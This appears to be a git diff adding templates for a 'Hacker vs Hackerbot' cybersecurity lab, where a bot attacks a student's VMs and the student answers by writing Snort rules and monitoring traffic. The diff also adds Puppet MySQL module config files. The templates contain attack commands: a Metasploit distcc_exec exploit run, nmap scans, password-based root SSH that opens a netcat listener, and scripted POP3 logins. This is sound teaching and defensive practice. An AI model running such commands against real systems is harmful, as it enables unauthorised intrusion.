+ Ok, skipping it along.
+ Let me see what I can do to goto that attack.
+ That was the last one for now. You can rest easy, until next time... (End.)
+ That was the last one. Game over?
+ You are back to the beginning!
+ This is where it all began.
+ Doing my thing...
+ Here we go...
+ ...
+ ....
+ Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along.
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Wouldn't you like to know.
+
+
+ Oh no. Failed to get shell... You need to let us in.
+
+
+
+ HvHB1
+ <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %>
+
+
+ true
+
+
+
+
+
+<%
+ $permission_attacks = ['file_perms_attack_1.xml.erb', 'file_perms_attack_2.xml.erb', 'file_perms_attack_3.xml.erb', 'file_perms_attack_4.xml.erb'].shuffle
+%>
+<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %>
+
+
+<%
+ $integrity_attacks = ['integrity_attack1.xml.erb', 'integrity_attack2.xml.erb', 'integrity_attack3.xml.erb', 'integrity_attack4.xml.erb', 'integrity_attack5.xml.erb', 'integrity_attack6.xml.erb', 'integrity_attack7.xml.erb'].shuffle
+%>
+<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %>
+
+
+<%= ERB.new(File.read self.templates_path + 'backups_rsync_steps_attacks.xml.erb' ).result(self.get_binding) %>
+
+
+
+<%
+ $network_monitoring = ['network_monitoring_1.xml.erb', 'network_monitoring_2.xml.erb', 'network_monitoring_3.xml.erb'].shuffle
+%>
+<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %>
+
+
+<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %>
+
+
+<%
+ $snort_rules = ['snort_rule_1.xml.erb', 'snort_rule_2.xml.erb', 'snort_rule_3.xml.erb', 'snort_rule_4.xml.erb'].shuffle
+%>
+<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %>
+<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %>
+
+
+<%
+ $snort_exfil_rules = ['exfiltration_rule_1.xml.erb', 'exfiltration_rule_2.xml.erb'].shuffle
+%>
+<%= ERB.new(File.read self.templates_path + $snort_exfil_rules.pop ).result(self.get_binding) %>
+
+
+<%= ERB.new(File.read self.templates_path + 'live_analysis_1.xml.erb' ).result(self.get_binding) %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb
new file mode 100644
index 000000000..f2305ec1c
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/labsheet.html.erb
@@ -0,0 +1,121 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+ <%= self.html_TOC_rendered %>
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb
new file mode 100644
index 000000000..c11478e8e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/license.md.erb
@@ -0,0 +1,6 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb
new file mode 100644
index 000000000..3d8f97209
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/live_analysis_1.xml.erb
@@ -0,0 +1,30 @@
+
+<% $rand_port_live = rand(65535) %>
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'setsid nc -l -p <%= $rand_port_live %> &' & sleep 4; killall -9 ssh; echo 'OK'
+
+ false
+
+
+ About to do something to your web server, let it happen...
+
+
+ OK
+ Ok, answer this.
+
+
+
+ OK..
+ Ok, answer this.
+
+
+
+ Ok...
+
+
+
+ What port has just been opened by a process on your web server?
+ <%= $rand_port_live %>
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb
new file mode 100644
index 000000000..11d99199d
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_1.xml.erb
@@ -0,0 +1,22 @@
+
+<% $rand1 = SecureRandom.hex(2) %>
+ curl -v -H 'Something-worth-noting: <%= $rand1 %>:<%= $flags.pop %>' <%= $web_server_ip %> > /dev/null; echo $?
+ false
+
+
+ #1 Monitor the network traffic using Tcpdump or Wireshark, and look out for a string starting with "<%= $rand1 %>".
+
+
+ 0
+ Hope you found the flag! Moving on...
+ true
+
+
+ 1
+ :( Failed to talk to the web server (<%= $web_server_ip %>)
+
+
+ Ok, next up...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb
new file mode 100644
index 000000000..bf34a9572
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_2.xml.erb
@@ -0,0 +1,20 @@
+
+ msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit"
+ whoami > /dev/null; echo "<%= $flags.pop %>" > /dev/null; echo 'Find the flag! (in the network traffic)'
+
+ Your webserver is about to be scanned/attacked. Use Tcpdump and/or Wireshark to view the behaviour of the attacker. There is a flag to be found over the wire.
+
+
+ Find the flag
+ Hope you caught that.
+
+
+
+ 1
+ :( Failed to contact the web server (<%= $web_server_ip %>)
+
+
+ :( Something was not right...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb
new file mode 100644
index 000000000..5f78fe0ed
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/network_monitoring_3.xml.erb
@@ -0,0 +1,25 @@
+
+<% $rand_port = rand(65535) %>
+ nmap -p <%= $rand_port %> {{chat_ip_address}} > /dev/null; echo $?
+ false
+
+
+ Monitor the network traffic, and look out for attempts to scan your desktop VM. You need to identify what port the connection attempt is to.
+
+
+ 0
+ Hope you found the port number.
+
+
+
+ 1
+ :( Failed to scan
+
+
+
+ Now after the attack, what port number was scanned?
+ ^<%= $rand_port %>$
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb
new file mode 100644
index 000000000..75d590e25
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/random_service_ids_rule.xml.erb
@@ -0,0 +1,31 @@
+
+<% $services = {'FTP'=>'20','Telnet'=>'23','SMTP'=>'25','HTTP'=>'80','POP3'=>'110','IMAP'=>'143','SNMP'=>'161','LDAP'=>'389','HTTPS'=>'443','LDAPS'=>'636'}
+ $rand_service1 = $services.keys.sample
+ $rand_alert3 = SecureRandom.hex(3) %>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 1000,<%= $services[$rand_service1] %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -u /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects any TCP connection attempt to <%= $rand_service1 %> (just the connection attempt, does not require content inspection) on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert3 %>".
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--01
+ :( Failed to scan your system.
+
+
+ ^--[01][01]1
+ :( Failed to scp to your system (the second time).
+
+
+ <%= $rand_alert3 %>
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb
new file mode 100644
index 000000000..af3db0e3c
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_1.xml.erb
@@ -0,0 +1,34 @@
+
+<% $rand_port = rand(65535)
+ $rand_alert1 = SecureRandom.hex(3) %>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p <%= $rand_port - 1 %>-<%= $rand_port + 1 %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects any TCP connection attempt to TCP port <%= $rand_port %> to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert1 %>".
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--01
+ :( Failed to scan your system.
+
+
+ ^--[01][01]1
+ :( Failed to scp to your system (the second time).
+
+
+ ^--00.*<%= $rand_alert1 %>.*<%= $rand_alert1 %>
+ :( Almost. The alert did fire, but it fired more than once!
+
+
+ <%= $rand_alert1 %>
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb
new file mode 100644
index 000000000..6b6e21efe
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_2.xml.erb
@@ -0,0 +1,26 @@
+
+<% $rand_content1 = SecureRandom.hex(3)
+ $rand_alert2 = SecureRandom.hex(3) %>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; (sleep 1; echo "USER <%= $rand_content1 %>"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects any packet with the contents "<%= $rand_content1 %>" to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert2 %>".
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--0.*<%= $rand_alert2 %>.*<%= $rand_alert2 %>
+ :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection?
+
+
+ ^--0.*<%= $rand_alert2 %>
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb
new file mode 100644
index 000000000..3962212f0
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3.xml.erb
@@ -0,0 +1,33 @@
+
+
+<% $rand_alert4 = SecureRandom.hex(3)
+%>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule.
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>
+ :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection?
+
+
+ ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>
+ 8-) Well done! <%= $flags.pop %>.
+
+
+
+ ^--0.*<%= $rand_alert4 %>
+ :( The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive?
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb
new file mode 100644
index 000000000..88db7b668
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_3__3flags.xml.erb
@@ -0,0 +1,42 @@
+
+
+<% $rand_alert4 = SecureRandom.hex(3)
+ $flag1 = $flags.pop
+ $flag2 = $flags.pop
+ $flag3 = $flags.pop
+%>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule.
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>
+ :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection?
+
+
+ ^--0.*<%= $rand_alert4 %>.*Classification.*User.*<%= $rand_alert4 %>
+ :-D Well done! ALL THREE FLAGS!: <%= $flag1 %>, <%= $flag2 %>, <%= $flag3 %>.
+
+
+
+ ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>
+ 8-) Well done! Two flags: <%= $flag1 %>, <%= $flag2 %>. Could be further improved with a classification.
+
+
+
+ ^--0.*<%= $rand_alert4 %>
+ :) Well done! <%= $flag1 %>. The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? More flags are to be had from a better rule ;-)
+
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb
new file mode 100644
index 000000000..ba834c997
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/snort_rule_4.xml.erb
@@ -0,0 +1,34 @@
+
+<% $rand_alert5 = SecureRandom.hex(3) %>
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; curl <%= $web_server_ip %> >/dev/null; curl <%= $web_server_ip %>/contact.html >/dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5
+ false
+
+
+ Create a Snort rule that detects access to http://<%= $web_server_ip %> but NOT http://<%= $web_server_ip %>/contact.html. The alert must include the message "<%= $rand_alert5 %>".
+
+
+ ^--1
+ :( Failed to scp to your system.
+
+
+ ^--01
+ :( Failed to test your system.
+
+
+ ^--[01][01]1
+ :( Failed to scp to your system (the second time).
+
+
+ ^--00.*<%= $rand_alert5 %>.*<%= $rand_alert5 %>
+ :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection?
+
+
+
+ ^--00.*<%= $rand_alert5 %>
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ :( Your rule didn't get triggered (or didn't include the right message).
+
+
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml
new file mode 100644
index 000000000..7a27d173f
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.fixtures.yml
@@ -0,0 +1,7 @@
+fixtures:
+ repositories:
+ "stdlib": "https://github.com/puppetlabs/puppetlabs-stdlib"
+ "staging": "https://github.com/voxpupuli/puppet-staging"
+ "translate": "https://github.com/puppetlabs/puppetlabs-translate"
+ symlinks:
+ "mysql": "#{source_dir}"
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json
new file mode 100644
index 000000000..7df232989
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.geppetto-rc.json
@@ -0,0 +1,9 @@
+{
+ "excludes": [
+ "**/contrib/**",
+ "**/examples/**",
+ "**/tests/**",
+ "**/spec/**",
+ "**/pkg/**"
+ ]
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes
new file mode 100644
index 000000000..02d4646b9
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitattributes
@@ -0,0 +1,5 @@
+#This file is generated by ModuleSync, do not edit.
+*.rb eol=lf
+*.erb eol=lf
+*.pp eol=lf
+*.sh eol=lf
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore
new file mode 100644
index 000000000..f86acb60c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.gitignore
@@ -0,0 +1,23 @@
+.*.sw[op]
+.metadata
+.yardoc
+.yardwarns
+*.iml
+/.bundle/
+/.idea/
+/.vagrant/
+/coverage/
+/bin/
+/doc/
+/Gemfile.local
+/Gemfile.lock
+/junit/
+/log/
+/log/
+/pkg/
+/spec/fixtures/manifests/
+/spec/fixtures/modules/
+/tmp/
+/vendor/
+/convert_report.txt
+.DS_Store
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml
new file mode 100644
index 000000000..767f9cd2f
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.nodeset.yml
@@ -0,0 +1,31 @@
+---
+default_set: 'centos-64-x64'
+sets:
+ 'centos-59-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'centos-59-x64'
+ 'centos-64-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'centos-64-x64'
+ 'fedora-18-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'fedora-18-x64'
+ 'debian-607-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'debian-607-x64'
+ 'debian-70rc1-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'debian-70rc1-x64'
+ 'ubuntu-server-10044-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'ubuntu-server-10044-x64'
+ 'ubuntu-server-12042-x64':
+ nodes:
+ "main.foo.vm":
+ prefab: 'ubuntu-server-12042-x64'
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.project b/modules/services/unix/database/mysql_stretch_compatible/mysql/.project
new file mode 100644
index 000000000..5bf079076
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.project
@@ -0,0 +1,23 @@
+
+
+ puppetlabs-mysql
+
+
+
+
+
+ com.puppetlabs.geppetto.pp.dsl.ui.modulefileBuilder
+
+
+
+
+ org.eclipse.xtext.ui.shared.xtextBuilder
+
+
+
+
+
+ com.puppetlabs.geppetto.pp.dsl.ui.puppetNature
+ org.eclipse.xtext.ui.shared.xtextNature
+
+
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec
new file mode 100644
index 000000000..16f9cdb01
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rspec
@@ -0,0 +1,2 @@
+--color
+--format documentation
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml
new file mode 100644
index 000000000..bd272d16a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop.yml
@@ -0,0 +1,108 @@
+---
+require:
+- rubocop-i18n
+- rubocop-rspec
+AllCops:
+ DisplayCopNames: true
+ TargetRubyVersion: '2.1'
+ Include:
+ - "./**/*.rb"
+ Exclude:
+ - bin/*
+ - ".vendor/**/*"
+ - Gemfile
+ - Rakefile
+ - pkg/**/*
+ - spec/fixtures/**/*
+ - vendor/**/*
+Metrics/LineLength:
+ Description: People have wide screens, use them.
+ Max: 200
+RSpec/BeforeAfterAll:
+ Description: Beware of using after(:all) as it may cause state to leak between tests.
+ A necessary evil in acceptance testing.
+ Exclude:
+ - spec/acceptance/**/*.rb
+RSpec/HookArgument:
+ Description: Prefer explicit :each argument, matching existing module's style
+ EnforcedStyle: each
+Style/BlockDelimiters:
+ Description: Prefer braces for chaining. Mostly an aesthetical choice. Better to
+ be consistent then.
+ EnforcedStyle: braces_for_chaining
+Style/ClassAndModuleChildren:
+ Description: Compact style reduces the required amount of indentation.
+ EnforcedStyle: compact
+Style/EmptyElse:
+ Description: Enforce against empty else clauses, but allow `nil` for clarity.
+ EnforcedStyle: empty
+Style/FormatString:
+ Description: Following the main puppet project's style, prefer the % format format.
+ EnforcedStyle: percent
+Style/FormatStringToken:
+ Description: Following the main puppet project's style, prefer the simpler template
+ tokens over annotated ones.
+ EnforcedStyle: template
+Style/Lambda:
+ Description: Prefer the keyword for easier discoverability.
+ EnforcedStyle: literal
+Style/RegexpLiteral:
+ Description: Community preference. See https://github.com/voxpupuli/modulesync_config/issues/168
+ EnforcedStyle: percent_r
+Style/TernaryParentheses:
+ Description: Checks for use of parentheses around ternary conditions. Enforce parentheses
+ on complex expressions for better readability, but seriously consider breaking
+ it up.
+ EnforcedStyle: require_parentheses_when_complex
+Style/TrailingCommaInArguments:
+ Description: Prefer always trailing comma on multiline argument lists. This makes
+ diffs, and re-ordering nicer.
+ EnforcedStyleForMultiline: comma
+Style/TrailingCommaInLiteral:
+ Description: Prefer always trailing comma on multiline literals. This makes diffs,
+ and re-ordering nicer.
+ EnforcedStyleForMultiline: comma
+Style/SymbolArray:
+ Description: Using percent style obscures symbolic intent of array's contents.
+ EnforcedStyle: brackets
+inherit_from: ".rubocop_todo.yml"
+Style/CollectionMethods:
+ Enabled: true
+Style/MethodCalledOnDoEndBlock:
+ Enabled: true
+Style/StringMethods:
+ Enabled: true
+Layout/EndOfLine:
+ Enabled: false
+Metrics/AbcSize:
+ Enabled: false
+Metrics/BlockLength:
+ Enabled: false
+Metrics/ClassLength:
+ Enabled: false
+Metrics/CyclomaticComplexity:
+ Enabled: false
+Metrics/MethodLength:
+ Enabled: false
+Metrics/ModuleLength:
+ Enabled: false
+Metrics/ParameterLists:
+ Enabled: false
+Metrics/PerceivedComplexity:
+ Enabled: false
+RSpec/DescribeClass:
+ Enabled: false
+RSpec/ExampleLength:
+ Enabled: false
+RSpec/MessageExpectation:
+ Enabled: false
+RSpec/MultipleExpectations:
+ Enabled: false
+RSpec/NestedGroups:
+ Enabled: false
+Style/AsciiComments:
+ Enabled: false
+Style/IfUnlessModifier:
+ Enabled: false
+Style/SymbolProc:
+ Enabled: false
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml
new file mode 100644
index 000000000..57dd86c08
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.rubocop_todo.yml
@@ -0,0 +1,2 @@
+GetText/DecorateString:
+ Enabled: false
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml
new file mode 100644
index 000000000..576ce6e83
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/.sync.yml
@@ -0,0 +1,69 @@
+---
+appveyor.yml:
+ environment:
+ PUPPET_GEM_VERSION: "~> 4.0"
+ matrix:
+ - RUBY_VERSION: 24-x64
+ CHECK: "syntax lint"
+ - RUBY_VERSION: 24-x64
+ CHECK: metadata_lint
+ - RUBY_VERSION: 24-x64
+ CHECK: rubocop
+
+.travis.yml:
+ bundle_args: --without system_tests
+ docker_sets:
+ - set: docker/centos-7
+ options:
+ - set: docker/ubuntu-14.04
+ options:
+ docker_defaults:
+ bundler_args: ""
+ secure: ""
+ branches:
+ - release
+ extras:
+ - rvm: 2.1.9
+ script: "\"bundle exec rake release_checks\""
+
+Gemfile:
+ required:
+ ':system_tests':
+ - gem: 'puppet-module-posix-system-r#{minor_version}'
+ platforms: ruby
+ - gem: 'puppet-module-win-system-r#{minor_version}'
+ platforms:
+ - mswin
+ - mingw
+ - x64_mingw
+ - gem: beaker
+ version: '~> 3.13'
+ from_env: BEAKER_VERSION
+ - gem: beaker-abs
+ from_env: BEAKER_ABS_VERSION
+ version: '~> 0.1'
+ - gem: beaker-pe
+ - gem: beaker-hostgenerator
+ from_env: BEAKER_HOSTGENERATOR_VERSION
+ - gem: beaker-rspec
+ from_env: BEAKER_RSPEC_VERSION
+ ':development':
+ - gem: puppet-blacksmith
+ version: '~> 3.4'
+ - gem: puppet-lint-i18n
+
+Rakefile:
+ requires:
+ - puppet_blacksmith/rake_tasks
+ - puppet_pot_generator/rake_tasks
+
+spec/spec_helper.rb:
+ spec_overrides:
+ - "require 'spec_helper_local'"
+
+.rubocop.yml:
+ default_configs:
+ inherit_from: .rubocop_todo.yml
+ require:
+ - rubocop-i18n
+ - rubocop-rspec
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/.travis.yml
new file mode 100644
index 000000000..1597cfb05
--- /dev/null
